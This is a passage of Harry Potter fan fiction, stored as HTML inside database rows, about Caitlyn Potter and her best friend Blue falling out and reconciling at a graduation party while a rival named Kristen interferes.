right.&#8221; Caitlyn replied softly, fighting away some tears.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;You&#8217;ll miss your dad a lot, won&#8217;t you?&#8221; He said.</i></p>\n\n<p><i></i></p>\n\n<p><i>Caitlyn nodded, her head down and her arms folded across her chest. Suddenly she felt a pair of thin arms circle around her. Blue was hugging her. Suddenly, she started to feel a bit better. Caitlyn sniffed back the tears she hadn&#8217;t let fall.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Look&#8230;&#8221; Blue felt awkward, he&#8217;d never hugged a girl before but he liked Caitlyn a lot. &#8220;I know I&#8217;m not your dad, but I&#8217;m your friend&#8230; I&#8217;ll be here for you.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p>That was the real beginning of the deepest friendship of her life, there was also the time in 5th year he had taken her to the Yule Ball so she could worm her way out of having a date she didn&#8217;t want, and the time in 6th year when there had been an exceptionally long Quidditch match, and Blue had been hit by a bludger. He had slipped off the broom, hanging on precariously with one hand.</p>\n\n<p>Caitlyn had felt horrified as she watched her best friend dangle in midair. Several other girls screamed as he almost lost grip; Caitlyn grabbed Lana&#8217;s arm and clutched in fear. A loud sigh of relief had gone through the whole stadium when the Gryffindor seeker flew over and rescued him.</p>\n\n<p>Last night probed at her mind again, the way that he had willingly helped her on her speech, paid for her butterbeer, walked through the park&#8230; she thought about the way his hand had wrapped around hers, how he had examined the bump on her forehead. And then her heart plummeted as she thought about the hurt in his eyes when she had told him she didn&#8217;t feel the same way he did. </p>\n\n<p>Caitlyn went over to the window, which looked out over the pond that bordered their backyard and the Weasleys&#8217; as well. Blue was standing out there, skipping a few stones across the surface of the water. She had to tell him she had made a mistake. &#8216;I&#8217;m willing to try this&#8230; I hope it works out&#8230; I can&#8217;t ever lose him.&#8217; </p>\n\n<p>Those thoughts flew through her mind as she tore down the stairs.</p>\n\n<p>Caitlyn slipped out the back door and walked down the path across the backyard. </p>\n\n<p>&#8220;Hi.&#8221; She said tentatively.</p>\n\n<p>&#8220;Hi.&#8221; At first she could not tell if it was a grunt or a greeting, but decided to take it as the latter.</p>\n\n<p>&#8220;What are you doing?&#8221; she asked after a few moments.</p>\n\n<p>Blue shrugged. &#8220;Nothing. Just bored.&#8221;</p>\n\n<p>&#8220;Why didn&#8217;t Kristen come back with you?&#8221; Caitlyn said sharply before she could stop herself. Blue turned and faced her.</p>\n\n<p>&nbsp;&#8220;What does it matter about Kristen?&#8221; he asked, matching her tone. &#8220;You and I are only friends, why should it matter who I invite as my date to the party?&#8221;</p>\n\n<p>Caitlyn narrowed her eyes. &#8220;You know how we feel about each other.&#8221;</p>\n\n<p>Blue shrugged again, and turned away a little. &#8220;Well I like her, we&#8217;ll just have to stay clear of you for the whole day then. At least I know she&#8217;s honest about her feelings for me.&#8221;</p>\n\n<p> &#8220;Blue I don&#8217;t understand how you can hang out with her!&#8221; Caitlyn said, the tight feeling in her chest beginning to unravel a bit. &#8220;She&#8217;s so&#8230;trampy, with her robes too tight, and all her makeup&#8230;&#8221;</p>\n\n<p>He folded his arms across his chest. &#8220;What, you&#8217;re jealous of her now?&#8221; Blue didn&#8217;t really know where his anger was coming from, and words just started flowing from his mouth without him even thinking. &#8220;You think just because of what I told you last night that now I&#8217;ll never look at someone else? You can&#8217;t string me along, acting like now you have some sort of hold over me! Today before graduation, you come up acting like nothing ever happened. And now you think you have the right to tell me who I can and can&#8217;t date? You know what you are? You&#8217;re a tease, that&#8217;s what!!!&#8221; he said the last words harshly, and then bit his lip, wishing he could take them back.</p>\n\n<p> &#8220;You asshole!&#8221; Caitlyn shouted, her fury rising. &#8220;You really are! I came down here to tell you that I made a mistake last night when I told you that a relationship between us would never go anywhere.&#8221;</p>\n\n<p>&#8220;What?&#8221; Blue&#8217;s eyes grew wide.</p>\n\n<p>&nbsp;&#8220;Never mind now!&#8221; Caitlyn was so angry over his last comment to her that she knew if she stayed there would be some serious hexing going on. </p>\n\n<p>&#8220;No, Caty wait!&#8221; Blue called, hurrying after her as she stormed back to her house.</p>\n\n<p>&#8220;Get away from me.&#8221; Caitlyn said coldly through clenched teeth. &#8220;If you don&#8217;t, you&#8217;ll find your legs locked from here till next Tuesday, and that doesn&#8217;t count the boils!&#8221; she glared at him once more and went inside, banging the door shut behind her.</p>\n\n<p>&#8220;I am so STUPID!!!&#8221; Blue kicked a tuft of grass next to him. He&#8217;d really botched that one up.</p>\n\n<p>(A/N: Well I apologize for leaving you at such a horrid place, I had the WORST time writing this chapter because they are mad at each other throughout the whole thing. Next chapter, things start looking up, I promise :) Please don&#8217;t forget to read and review!)</p> '),
	(80, 3, ' <p>Chapter 3</p>\n\n<p>Hermione hummed softly to herself as she scraped the cake batter from the large mixing bowl into the rectangular pan. Ever since Colin had been born and she had quit her job at Flourish and Blotts to stay home and take care of him, Hermione had discovered her love of baking, in the Muggle fashion. It was satisfying for her to pull a richly baked chocolate (it was almost always chocolate when she made something) cake from the oven, the smell wafting around the room, teasing her sense of smell. Hermione took her index finger and swabbed a large smear from the side of the bowl, and raised it to her lips, anticipating the taste of the creamy batter. </p>\n\n<p>&#8220;Just what I wanted!&#8221; Harry exclaimed, grabbing his wife&#8217;s hand and licking the chocolate off her finger.&nbsp; </p>\n\n<p>&#8220;Hey that was my chocolate!&#8221; Hermione said, pulling her hand out of his. She frowned at him and he grinned back.</p>\n\n<p>&#8220;Awww&#8230;&#8221; Harry said. &#8220;I can fix that, you know.&#8221; He took his own finger and scraped a larger amount of chocolate from the bowl. Hermione assumed he was going to have her lick it off as he had done, but he brought his hand up to his own face and smeared it across his lips and chin. &#8220;Oh would you look at that, I made a mess&#8230;&#8221;</p>\n\n<p>Hermione laughed. &#8220;You&#8217;re as bad as your son, you know that?&#8221; she raised herself up and gently used her tongue to lick off some of the batter. &#8220;Only I like cleaning you up this way&#8230;.&#8221; She moved her mouth to cover his, tasting the warm chocolate on his lips, her tongue reaching out to seek his. Harry&#8217;s arms came around her, with her large stomach they barely reached around her sides but he crushed her against him anyway, pressing his lips against her own.</p>\n\n<p>&nbsp;&#8220;You know, they probably called it Snogwarts when the two of you were students there.&#8221; Caitlyn interrupted dryly from the doorframe. Harry and Hermione pulled apart, the chocolate smeared across both their chins now. &#8220;I really hope that didn&#8217;t come from the pan.&#8221;</p>\n\n<p>&nbsp;&#8220;Um&#8230;no&#8230;&#8221; Hermione said sheepishly, sticking the pan in the oven. Harry stared at his daughter. </p>\n\n<p>&nbsp;&#8220;How long were you standing there?&#8221; he asked, grabbing a towel and wiping himself off, then handing it to Hermione.</p>\n\n<p>&nbsp;&#8220;Long enough.&#8221; Caitlyn replied. &#8220;You two should have a kitchen put in your bedroom.&#8221; </p>\n\n<p>&nbsp;&#8220;Caitlyn!&#8221; Harry exclaimed. &#8220;Don&#8217;t be silly, we couldn&#8217;t fit a kitchen in there, we already tried.&#8221;</p>\n\n<p> &#8220;Dad, that&#8217;s gross, I don&#8217;t want to hear about what else you two do in here.&#8221; Caitlyn dropped into her chair.</p>\n\n<p>&#8220;Why not? It&#8217;s a natural part of life, it&#8217;s how you, your brother and these two were created&#8230;&#8221; Harry began in his best smartass voice when Hermione elbowed him.</p>\n\n<p>&#8220;Harry, go outside and make sure we have enough chairs and tables set up for everyone today.&#8221; She ordered. Harry saluted his wife and went out the door, closing it firmly behind him.</p>\n\n<p>&#8220;Well it looks like we&#8217;ve got everything we need for today, just a little while and your cake will be done.&#8221; Hermione said, sitting down heavily on the chair next to Caitlyn&#8217;s. &#8220;Everyone should be arriving in just a little bit, why don&#8217;t you just go out and relax?&#8221;</p>\n\n<p>&#8220;I guess I will.&#8221; Caitlyn said, trying to sound enthused. It had been her second night without much sleep, and she had tried in vain to hide dark circles under her eyes with makeup, finally using a concealing charm to banish them away.</p>\n\n<p>Hermione reached over and brushed a lock of hair away from her daughter&#8217;s forehead. &#8220;You two will work everything out. Every friendship goes through a rough patch.&#8221;</p>\n\n<p>&#8220;I know.&#8221; Caitlyn mumbled. &#8220;I&#8217;m going to go outside and walk around the pond.&#8221;</p>\n\n<p>&#8220;All right.&#8221; Hermione said. &#8220;And chin up, it&#8217;s your party day.&#8221; She smiled at her and went to go rouse Colin.</p>\n\n<p>Caitlyn let the door bang shut behind her and ambled off towards the edge of the pond. It had always held a peaceful reassurance for her, the pond, and it didn&#8217;t even have any magical qualities to it; it was just a regular body of water. Leaning against a large boulder, she drew her knees up against her chest. The warm sun poured down on her, over her bare shoulders and across her face. </p>\n\n<p>She stayed there for several long minutes, enjoying the solitude; she couldn&#8217;t hear anything except the brushing of the wind against the tall grasses, the water softly lapping against the ground, the birds calling overhead. Caitlyn breathed in deeply, feeling better about the forthcoming day with each intake. An image of her now not-so-platonic best friend popped into her mind, and another memory washed into her vision.</p>\n\n<p><i>&#8220;Hey.&#8221; Caitlyn said listlessly as she dropped onto Blue&#8217;s bed.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;What&#8217;s up?&#8221; he asked, moving away from his trunk. They were due to head back to Hogwarts the next morning and he was repacking. </i></p>\n\n<p><i></i></p>\n\n<p><i>She sighed, flopping back so her head was on his pillow. &#8220;Ryan&#8230; he broke up with me today.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;What?&#8221; Blue asked. &#8220;Why?&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>She shrugged, looking up at him. &#8220;Apparently he&#8217;s met someone else while we&#8217;ve been gone.&#8221; They had just gotten back from the </i><st1:place><i>Caribbean</i></st1:place><i> a few days before, and had been away the entire holiday.</i></p>\n\n<p><i></i></p>\n\n<p><i>Blue sat down on the bed and then moved up so he was lying next to her, his head sharing the pillow. &#8220;I&#8217;m sorry Caty.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Ahh, it&#8217;s all right.&#8221; She tried to act like it wasn&#8217;t a big deal. &#8220;It was just a shock this morning when it came with the post.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Wait.&#8221; Blue sat up and looked down at her. &#8220;Are you telling me he broke up with you through the owl post?&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Caitlyn nodded, and then her fa&#231;ade slipped away as her face crumpled. Two tears ran down her cheeks and Blue pulled her up and gathered her in his arms.</i></p>\n\n<p><i>&#8220;I&#8217;m not that upset about being dumped&#8230; but did he have to do it through owl post?&#8221; she asked, laughing through her tears. &#8220;I mean, that&#8217;s the worst, most cowardly way to end a relationship isn&#8217;t it?&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>She heard him chuckle as he held her tighter. &#8220;You can do better than him. I know I never liked him anyways but it&#8217;s true.&#8221; He pushed her away and then wiped her tears with his thumbs. &#8220;No more of those. I want to see my favourite Caitlyn smile.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Honestly.&#8221; She tried her hardest not to comply when he threw his silly, lopsided grin her way. &#8220;I&#8217;m not going to smile!&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Yes you are.&#8221; Blue dug his fingers into her side, beginning what promised to be a merciless tickling session.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;No!&#8221; she shrieked, trying to pull away from him. He was relentless in his pursuit, and soon enough they were both doubled over in laughter on his bed.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Thank you.&#8221; She said awhile later when they were both trying to regain their breath. &#8220;I don&#8217;t know what I&#8217;d do without you.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>A flash of something she didn&#8217;t recognize went through his eyes, and then he smiled. &#8220;Don&#8217;t get all mushy on me now, Caty.&#8221; Blue teased. &#8220;We&#8217;ve gone seven years without it&#8230;&#8221; they both started laughing again as she wrapped her arms around him and pecked him lightly on the cheek.</i></p>\n\n<p>&#8220;Caty?&#8221; she heard her father&#8217;s voice call, breaking out of her daydream. &#8220;Are you over there?&#8221; Caitlyn stood up, brushing herself off. </p>\n\n<p>&#8220;Yeah, I&#8217;m over here!&#8221; she called back.</p>\n\n<p>Harry carefully made his way over some of the thick grass and weeds. &#8220;Some of the guests are starting to arrive. Ginny and Seamus just came in, and I believe Grace and Justin are on their way with&#8230;the monsters&#8230;&#8221; Harry&#8217;s eyebrows knitted together dramatically. </p>\n\n<p>Caitlyn grinned. &#8220;Come on Dad, they aren&#8217;t that bad&#8230;. there&#8217;s just a lot of them!&#8221; she was referring to her mother&#8217;s friend Grace, her husband Justin, and their six children, who always climbed on the furniture and slobbered on everything. Every time they came over, something was ruined. Lucky for magic. &#8220;It&#8217;s a good thing we&#8217;ll be outside.&#8221; She said, taking her father&#8217;s hand as he helped her over the small mounds of earth.</p>\n\n<p>&#8220;I think Blue&#8217;s friend is here too.&#8221; Harry replied, gazing back across to their houses. </p>\n\n<p>&#8220;Great.&#8221; Caitlyn mumbled, her lip lifting up in a slight sneer. They ambled back as Grace and Justin came out the back door, Justin carrying two identical children with Grace holding the third.</p>\n\n<p>&#8220;Glad you guys could make it.&#8221; Harry smiled, kissing Grace on the cheek and patting Justin&#8217;s back.</p>\n\n<p>One of the triplets, (Caitlyn thought it was Elena, it was hard to tell between them most of the time, especially when they were dressed alike) reached immediately for her. &#8220;Caty!&#8221; the three year old squealed, latching onto her neck.</p>\n\n<p>&#8220;Hey kiddo!&#8221; Caitlyn said, hugging the child to her. Grace shifted the one in her arms to the other side and patted her arm.</p>\n\n<p>&#8220;Congratulations Caty.&#8221; She said, leaning over and kissing her cheek. &#8220;Justin and I are so happy for you!&#8221;</p>\n\n<p>&#8220;Thanks.&#8221; Caitlyn smiled at her mother&#8217;s best friend and her husband. &#8220;I was so nervous up there, giving that speech.&#8221;</p>\n\n<p>&#8220;You did a wonderful job.&#8221; Harry said, looking affectionately at his daughter. &#8220;I tell you, your mother couldn&#8217;t stop sobbing&#8230;&#8221;</p>\n\n<p>&#8220;Harry James Potter, are you telling stories about me again?&#8221; Hermione was stepping out the back door, with the now iced cake in her hands.</p>\n\n<p>&#8220;Whoops&#8230;&#8221; Harry grinned. &#8220;Nope, wasn&#8217;t saying anything&#8230;&#8221; he looked around innocently as the adults burst into laughter. Grace handed the other baby (Elaine, Caitlyn figured) to Harry and went over to Hermione.</p>\n\n<p>&#8220;Let me get that.&#8221; Grace said, taking the cake. &#8220;How have you been feeling?&#8221;</p>\n\n<p>&#8220;I&#8217;ve been feeling wonderful lately.&#8221; Hermione said as Grace set the cake down with the rest of the food. &#8220;No problems at all.&#8221; </p>\n\n<p>&#8220;Hi Grace!&#8221; Lavender chirped as she walked up to them, Harry and Justin had obviously handed off the other two kids as she was now carrying them.</p>\n\n<p>&#8220;Oh I really don&#8217;t believe those two!&#8221; Grace said, looking darkly at her husband and Harry, who were already deep in conversation with Ron and ignoring their respective wives. &#8220;When Justin gets around other guys he hands those three off to me so fast you could blink and miss it.&#8221;</p>\n\n<p>&#8220;I don&#8217;t mind at all.&#8221; Lavender said, nuzzling Elaine and then Elliot, the only boy out of the whole brood of Finch Fletchley children. &#8220;It makes me wish I was having another&#8230;&#8221;</p>\n\n<p>&#8220;Ugh, you can take my spot anytime.&#8221; Hermione groaned. &#8220;I tell you, they keep me up half the night, I&#8217;m betting you it&#8217;s Carl, it sure doesn&#8217;t feel like a dainty foot kicking.&#8221; </p>\n\n<p>Caitlyn shifted Elena to her other arm and smiled at her mother. &#8220;And whenever one of them wakes you up you wake Dad up.&#8221; </p>\n\n<p>&#8220;That&#8217;s right.&#8221; Hermione laughed. &#8220;He&#8217;s so crabby in the middle of the night too.&#8221; They all cracked up.</p>\n\n<p>&#8220;Hey what are you guys laughing about?&#8221; Harry called over.</p>\n\n<p>&#8220;Nothing, wasn&#8217;t saying anything!&#8221; Hermione mocked, winking at her husband. </p>\n\n<p>A door banged shut across the connecting yards and Caitlyn saw Blue step outside with Kristen on his heels.</p>\n\n<p>&#8220;Ugh.&#8221; Caitlyn muttered under her breath. She had rather been hoping Kristen would cancel. She looked on in amusement however, at Kristen&#8217;s choice of wardrobe. While everyone was in casual jeans, shorts and simple tank tops or t-shirts, Kristen was wearing a skimpy white halter top, and a black skirt so short, it looked like it would ride up as soon as she sat down.</p>\n\n<p>&#8220;Oh Blue, what a nice backyard!&#8221; Kristen simpered, grabbing onto his arm and causing him to stumble. &#8220;It&#8217;s so cute!&#8221;</p>\n\n<p>&#8220;Uh&#8230;thanks.&#8221; Blue said, his eyes scanning the yard for Caitlyn. He spotted her standing with his mother, Hermione and their friend Grace. She had been looking at them, but snapped her head around the moment their eyes locked.</p>\n\n<p>&#8220;Kristen this is my mum&#8230;.&#8221; Blue named everyone off as he made introductions.</p>\n\n<p>&#8220;Nice to meet you Kristen.&#8221; Lavender said. Hermione nodded and smiled at her as well.</p>\n\n<p>&#8220;Nice cake!&#8221; Blue&#8217;s eyes widened as he took in the chocolate cake, iced with fudge and white letters spelled out &#8216;Congratulations, Caitlyn and Blue!&#8217; in curvy script that obviously had some sort of shimmer charm on it.</p>\n\n<p>&#8220;Thanks Blue.&#8221; Hermione looked fondly at the boy. </p>\n\n<p>&#8220;I&#8217;m willing to bet you and Harry had a fine time making it this morning.&#8221; Grace said quietly. Hermione turned a bright red colour.</p>\n\n<p>&#8220;I&#8217;m taking that as my cue to leave.&#8221; Caitlyn announced, bouncing Elena around. &#8220;Is it okay if I take her by the pond?&#8221;</p>\n\n<p>&#8220;Just don&#8217;t let her go in.&#8221; Grace replied. &#8220;She&#8217;s had a cold this past week.&#8221;</p>\n\n<p>&#8220;Pon!&#8221; Elena cried as Caitlyn turned her back on Blue and Kristen. </p>\n\n<p>&#8220;Yup, we&#8217;re going to the pond!&#8221; Caitlyn smiled at the little girl. &#8220;No getting wet though!&#8221;</p>\n\n<p>&#8220;Hi Caitlyn.&#8221; Blue&#8217;s voice cut through her banter with Elena.</p>\n\n<p>Caitlyn turned and looked at him stonily. &#8220;Blue.&#8221; She said, her voice cool.</p>\n\n<p>&#8220;How are you?&#8221; he asked awkwardly. He was very happy he had managed to shake off Kristen for a few moments when he introduced her to Harry and his father.</p>\n\n<p>She looked at him a moment, wondering if she should respond when Elena reached out for him. </p>\n\n<p>&#8220;Bwoo!&#8221; she screamed. Blue smiled at her and took her from Caitlyn.</p>\n\n<p>&#8220;You want to fly?&#8221; he asked her, and her curls bounced as she nodded. Blue swooped her around in the air, around in circles. Her giggles made Caitlyn smile. </p>\n\n<p>&#8220;More Bwoo more!&#8221; Elena begged. </p>\n\n<p>&nbsp;&#8220;Ahhh all right!&#8221; Blue said as he began to swing her around in circles again. He drew her up by Caitlyn who grinned.</p>\n\n<p>&#8220;Kiss Caty, go on!&#8221; Blue said, bringing Elena up close to her. Caitlyn leaned in and made a kissing noise right by the baby&#8217;s face.</p>\n\n<p>&#8220;She is so funny.&#8221; Caitlyn said, holding her arms out as Blue deposited Elena back in her arms. &#8220;I want a kid just like you someday!&#8221; she nuzzled her soft face.</p>\n\n<p>&#8220;Me too.&#8221; Blue replied. He took a deep breath as he watched Caitlyn spin Elena around. &#8220;Caty are you still mad at me?&#8221; he watched her tentatively as she set the baby on her hip.</p>\n\n<p>&#8220;I don&#8217;t know what I am anymore Blue. You&#8217;ve confused the heck out of me, telling me one thing and then another.&#8221; Her gaze was slightly frosty.</p>\n\n<p>&#8220;Caty I didn&#8217;t mean what I said yesterday&#8230;&#8221; he was interrupted by the arrival of Kristen, who latched onto his arm immediately.</p>\n\n<p>&#8220;Oh Blue, let&#8217;s go up and have a drink&#8230;&#8221; Kristen cooed. &#8220;I&#8217;m so hot.&#8221; She waved her hand in front of her face.</p>\n\n<p>Caitlyn smirked. &#8220;You two have a nice time.&#8221; She said sarcastically. &#8220;Come on, we&#8217;ll go to the pond!&#8221; Elena squealed again and they set off down the lawn. </p>\n\n<p>She stayed down there until she heard the arrival of more voices, this time it was Blue&#8217;s Aunt Ginny and Uncle Seamus with their two children, and not long after that, Fred Weasley with his wife Angelina, George Weasley and his wife Ambir, the matriarchs of the Weasley family, Arthur and Molly, and her father&#8217;s godfather Sirius Black, who they rarely saw anymore. </p>\n\n<p>&#8220;I suppose we&#8217;d better get back up there baby girl!&#8221; she smiled at Elena. Picking her up and settling her onto her hip, Caitlyn made her way back up the yard. She saw the men clapping each other on the back, laughing over something that either her father or Uncle Ron had done, no doubt. Looking the other way, she saw her mother standing with Grace and George&#8217;s wife Ambir.</p>\n\n<p>&#8220;Whose stomach is bigger, I wonder?&#8221; Lavender asked, coming up to them with a glass of iced pumpkin juice in her hand.</p>\n\n<p>Hermione and Ambir both glared at her. &#8220;Funny Lavender, we can&#8217;t help it if we&#8217;re big and you&#8217;re not.&#8221; Hermione snapped, turning back to Ambir. &#8220;I cannot believe you guys are having triplets.&#8221;</p>\n\n<p>&#8220;Me either.&#8221; Ambir replied, resting a hand on her stomach. &#8220;George is just beside himself. So is Molly, she&#8217;s ecstatic about having more grandkids.&#8221; She began to laugh. &#8220;George is just so funny about all this though, the other day he actually stuck headphones on my stomach, I was almost afraid to ask what it was&#8230;. I never knew George was such an Elvis Presley freak&#8230;.&#8221; She rolled her eyes and they all burst out laughing.</p>\n\n<p>&#8220;That&#8217;s great!&#8221; Hermione said, happy for her friend. &#8220;How many more months have you got?&#8221;</p>\n\n<p>&#8220;Four!&#8221; Ambir said as Caitlyn joined them. &#8220;Hi Caitlyn, congratulations!&#8221;</p>\n\n<p>&#8220;Thanks.&#8221; Caitlyn smiled as Ambir hugged her. She looked over at her mother. &#8220;Are you okay Mum you look a little thirsty.&#8221;</p>\n\n<p>&#8220;I am, a bit.&#8221; Hermione replied, holding her empty cup.</p>\n\n<p>&#8220;I can go get you some more pumpkin juice if you want.&#8221; Caitlyn offered.</p>\n\n<p>&#8220;I think we&#8217;re out, though.&#8221; Hermione frowned. </p>\n\n<p>&#8220;We have some.&#8221; Lavender said. &#8220;It&#8217;s right out on the counter Caty.&#8221;</p>\n\n<p>&#8220;All right.&#8221; Caitlyn patted her mother&#8217;s arm as she walked by. She swung the back door open to the Weasley home and stopped short. </p>\n\n<p>&#8220;What are you doing in here?&#8221; she asked.</p>\n\n<p>&#8220;I live here.&#8221; Blue smirked in her direction. &#8220;What&#8217;s your excuse?&#8221; his tone was considerably lighter than it had been in the past few days.</p>\n\n<p>&#8220;Um&#8230;pumpkin juice.&#8221; Caitlyn held up the cup. </p>\n\n<p>&#8220;Oh&#8230;. here&#8230;&#8221; he said, taking the jug and pouring some for her. Caitlyn bit her lip as she took in the fact that Blue had no shirt on.</p>\n\n<p>&#8220;Thanks.&#8221; She said, trying to avert her eyes away from his lean arms and tight chest. &#8220;So where&#8217;s the bi&#8212;&#8220; she stopped short, not wanting to call Kristen a bitch in front of Blue. Their friendship had already deteriorated enough over the past few days; she didn&#8217;t want to push away the guy she loved even more by insulting his friends.</p>\n\n<p>&#8216;Where the hell did that thought come from?&#8217; Caitlyn thought to herself, stunned at what the random statement had revealed to her. She shook her head to clear her mind, and placed a hand on the counter top to steady herself. Loved? She had just finally admitted to herself that she had less than friendly feelings for him; love was something completely different&#8230; wasn&#8217;t it?</p>\n\n<p>&#8220;Are you all right?&#8221; Blue asked, concerned, as she looked a little pale. He reached out and put his hand on her arm, moving his fingers down, his touch making her skin tingle.</p>\n\n<p>&#8220;I&#8217;m uh&#8230;fine.&#8221; Caitlyn managed to utter as she looked up right into his eyes.</p>\n\n<p>&#8220;Caty&#8230;&#8221; his voice was no more than a whisper as he brought his face close to hers, wanting to feel her lips on his once more. He bent down even more and she tilted her head back, waiting for the pressure of his mouth. </p>\n\n<p>&#8220;Blue what are you doing?&#8221; she breathed as his lips came even closer. Without another word, his mouth came on top of hers and his kiss made her knees feel weak. Not even realizing her hands were winding around his neck, Caitlyn pressed her body tighter against his and his arms went tightly around her waist. Her mouth opened and she pushed her tongue out hesitantly against his at first, and his response was fiery and immediate.</p>\n\n<p>&#8220;I&#8217;m not disturbing you am I?&#8221; the insincere concern in Kristen&#8217;s voice made them jump apart and blush furiously.</p>\n\n<p>&#8220;No.&#8221; Caitlyn managed to keep her voice from trembling. Blue looked at her a moment then at Kristen.</p>\n\n<p>&#8220;Something you wanted?&#8221; he asked, trying to keep the annoyance out of his voice.</p>\n\n<p>&#8220;Just wanted to see where you were.&#8221; Kristen replied, toying with the neckline of her top.</p>\n\n<p>&#8220;Ah.&#8221; Blue replied. He looked around as a means to escape, as Caitlyn and Kristen had taken to glaring at each other across the room. &#8220;I uh, need to take this to my aunt Hermione.&#8221; He grabbed the cup of juice from the counter and fled the room.</p>\n\n<p>&#8220;Chicken shit.&#8221; Caitlyn mumbled as she watched the door slam shut behind him. She looked back over at Kristen.</p>\n\n<p>&#8220;So you two looked a little cosy there.&#8221; Kristen&#8217;s words were pure ice.</p>\n\n<p>&#8220;Well that&#8217;s really none of your business is it?&#8221; Caitlyn replied coolly, crossing her arms over her chest.</p>\n\n<p>&#8220;Oh but I think it is.&#8221; Kristen said, coming over to Caitlyn. &#8220;I don&#8217;t appreciate you trying to kiss my boyfriend!&#8221;</p>\n\n<p>&nbsp;&#8220;He&#8217;s not your boyfriend.&#8221; Caitlyn said, still using the same cool voice. She refused to let Kristen see the panic that suddenly swelled up in her. Had she really lost him so soon?</p>\n\n<p>&#8220;Oh, yes, he is.&#8221; Kristen replied smugly. &#8220;After we left you down by the lake with that stupid kid, he took me for a long walk, we talked about the rest of the summer, the fall&#8230;and then he kissed me&#8230;.&#8221; She took a few steps closer, so that they were almost nose to nose. &#8220;It&#8217;s no wonder he doesn&#8217;t want anything to do with you. You&#8217;re so plain, and you obviously don&#8217;t know anything about pleasing your guy.&#8221; </p>\n\n<p>&#8220;You&#8217;d better take that back.&#8221; Caitlyn&#8217;s voice lowered dangerously. &#8220;Just because you wear your robes four sizes too small doesn&#8217;t mean that the male population thinks you&#8217;re gorgeous. More like trampy if you ask me.&#8221;</p>\n\n<p>&#8220;How dare you!&#8221; Kristen cried angrily. &#8220;You&#8217;re jealous, just like every other girl!&#8221;</p>\n\n<p>&#8220;And you&#8217;re all talk to think that Blue would ever lower himself to date you.&#8221; Caitlyn replied, her voice still low and steady. &#8220;And he wouldn&#8217;t kiss you. That would be like snogging a toad.&#8221;</p>\n\n<p>&#8220;Oh yes he did, and it&#8217;s a shame you&#8217;ll only have that once chance to kiss him&#8230;&#8221; Kristen was clenching her fists.</p>\n\n<p>&#8220;Excuse me?&#8221; an annoyed male voice broke through their banter, and Caitlyn wasn&#8217;t sure whether or not she was pleased to see Blue walk back through the door.</p>\n\n<p>&#8220;I uh&#8230;hello Blue.&#8221; Kristen&#8217;s confidence was shattered at the angry look on Blue&#8217;s face.</p>\n\n<p>&#8220;What&#8217;s going on here?&#8221; he asked in a tight voice. </p>\n\n<p>Kristen gave him what she thought was her most winning smile. &#8220;Nothing, we were just having a chat.&#8221;</p>\n\n<p>Caitlyn let a rather unladylike snort and leaned back against the counter. &#8220;A chat, right.&#8221; She said sarcastically.</p>\n\n<p> &#8220;We never kissed.&#8221; Blue said to Kristen, ignoring Caitlyn&#8217;s comment. &#8220;I know I heard you say we did.&#8221;</p>\n\n<p>&nbsp;&#8220;Well, I didn&#8217;t mean to say it like that, I mean, we talked about doing things this summer&#8230;&#8221; Kristen was clearly losing ground.</p>\n\n<p>&nbsp;&#8220;As friends.&#8221; Blue replied evenly. &#8220;I&#8217;m in love with someone else.&#8221;</p>\n\n<p>Caitlyn&#8217;s head turned so fast she thought she&#8217;d get whiplash and her stomach flopped over a few times.</p>\n\n<p> &#8220;With her?&#8221; Kristen&#8217;s voice held a note of contempt and her lip was caught up in a sneer.</p>\n\n<p>Blue hesitated, he no longer knew what was going on between he and Caty, and he didn&#8217;t want to lay his heart on the line again only to have her back off once more. But then again, if she did feel differently now as she&#8217;d said last night&#8230;and if their kiss they just had meant anything...</p>\n\n<p>&#8220;Yes.&#8221; Blue&#8217;s voice came out strong. &#8220;She&#8217;s my best friend as well as the girl I love, and if you&#8217;re my friend you&#8217;ll be happy for us.&#8221; He crossed his arms and stared at the other girl.</p>\n\n<p>&#8220;But Blue, you&#8217;ve spent the whole day with me, she&#8217;s just playing with you, she can never make you feel as good as I can&#8212;&#8220; Kristen reached out at him. &#8220;She&#8217;s not as good as me; she&#8217;s not even as pretty as me!&#8221; </p>\n\n<p>Caitlyn was almost at the end of her rope. &#8220;You&#8217;re so pathetic, do you even listen to yourself?&#8221; she sneered, her green eyes narrowed. Kristen glared at her, and then raised her hand up. Blue stared in shock as her fist nearly connected with Caitlyn&#8217;s face.</p>\n\n<p>&nbsp;Caitlyn managed to catch Kristen&#8217;s wrist the second before it made contact and threw it back. &#8220;How dare you!&#8221; She was simply amazed that the other girl would go so far as to actually hit her. &#8220;You are SO lucky I don&#8217;t have my wand right now.&#8221;</p>\n\n<p>&#8220;Going to curse me?&#8221; Kristen sneered. There was no false pretense of likeness between the two girls; all the cards were now laid on the table. </p>\n\n<p>&#8220;I don&#8217;t need to.&#8221; Caitlyn replied coolly. And in one swift motion, she grabbed the jug of pumpkin juice and dumped it over Kristen&#8217;s perfect blonde head.</p>\n\n<p>A high pitched scream emerged from her throat as the orange coloured juice dripped off her hair and white shirt. &#8220;Blue did you see what she just did?&#8221; Kristen was near tears.</p>\n\n<p>&#8220;Yeah. I did.&#8221; Blue stood at his best friend&#8217;s side. &#8220;And it was really, really funny.&#8221; He began to laugh, his arms crossed over his stomach. Caitlyn&#8217;s mouth twitched at the sight, and she began to giggle as well. </p>\n\n<p>Kristen emitted another high pitched sound of frustration and glared at them. When neither one stopped laughing, she turned and fled through the front door of the house, slamming it behind her.</p>\n\n<p>&nbsp;&#8220;And good riddance&#8230;&#8221; Caitlyn muttered a few moments later, finally settling down.</p>\n\n<p> &#8220;I can&#8217;t believe she acted that way, she was always so nice.&#8221; Blue said after another few moments.</p>\n\n<p>Caitlyn rolled her eyes in his 